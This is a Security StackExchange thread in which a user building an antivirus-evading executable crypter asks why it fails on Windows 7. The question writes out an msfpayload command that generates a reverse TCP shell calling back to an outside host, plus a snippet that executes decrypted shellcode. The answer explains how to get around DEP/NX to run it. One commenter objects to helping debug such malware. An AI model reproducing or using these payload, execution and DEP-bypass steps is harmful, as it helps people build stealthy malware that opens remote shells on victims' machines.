2 
I posted this on stackoverflow, was advised to move it to security section.

I was writing an executable crypter as an exercise with goal of Antivirus evasion, now the problem is the final executable isn't working on Windows 7. It's working flawlessly on Windows XP.

For the purposes of the test, I took metasploit's meterpreter payload, exported its shellcode, and compiled it into my executable crypter. (I won't mention the details of executable encrypter.)

These were my steps:

  • I got the shellcode exported into a C file

    msfpayload windows/shell/reverse_tcp_dns LHOST=somewhere.com LPORT=1234 C > shell_code.c

  • I only took shellcode of the malware vector not the DLL which is right at top of the file, it looks like follows

    unsigned char buf[] = "\xfc\x..........................";

  • I took this (a encrypter version)

Basically after decoding/decrypting, the shellcode is executed by casting it to a function like

(*(int(*)()) buf)();

Everything works as expected under windows XP, but fails on Windows 7.

I am clueless about the reasons, and any help will be appreciated.

NOTE: I don't have windows 7, I tested it under virtualized Windows XP (SP2)...

EDIT: if it helps, the metasploit runs on linux, the executable were compiled using express edition VS C++ 2008, the final executable runs fine on all Windows XP machines.

EDIT (1 Aug 2012) : Following @Rook advice, i tried to VirtualAlloc with PAGE_EXECUTE_READWRITE permission then Used WriteProcessMemory, still the final PE works only on windows XP (sp2) not on windows 7.

EDIT : PE seems to work right with Windows 7 (Build 7601, Service Pack 1), under WOW64

Improve this question
4
  • I looks like it is not Win7 that is failing, but the virtualized WinXP environment within Win7? How are you executing the code, as a portable executable?
    – schroeder ♦
    Jul 31, 2012 at 16:10
  • 1
    I'm not wild about helping someone to write code to evade A/V. Helping folks with the concepts, sure. Understanding the risks, you bet. But a recipe to help with the implementation, down to the point of helping them debug their malware? I'm not sure I see public benefit in that. Others can make their own judgement, and I certainly respect that, but personally, I think this skates too close to the line for my comfort.
    – D.W.
    Aug 1, 2012 at 2:15
  • @schroeder yes the code is compiled into PE, I asked my friends who have standard windows 7 installed... BTW like I initially said I compiled, test myself in virtualized windows xp which was running on linux host.
    – user1064504
    Aug 1, 2012 at 9:55
  • @D.W. Basically the question is not about A\V evasion, it more of a question about on stack execution on Windows 7
    – user1064504
    Aug 1, 2012 at 9:57

1 Answer 1

Reset to default
1

Judging by this behavior I would say you are running XP prior to SP2 (you should have mentioned that....). That means that the region of memory that contains your shellcode is marked with the non-executable flag. There are a few ways to get around DEP and the NX flag. One method is by evoking your executable with /NXCOMPAT:NO or by using VirutalAlllocEx to allocate a region of memory that is both executable and contains your shellcode.

Improve this answer
2
  • Good point, I tested it using windows xp sp2, thanks for links, I'll look into it.
    – user1064504
    Aug 1, 2012 at 9:59
  • please check my new edits
    – user1064504
    Aug 1, 2012 at 13:41

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .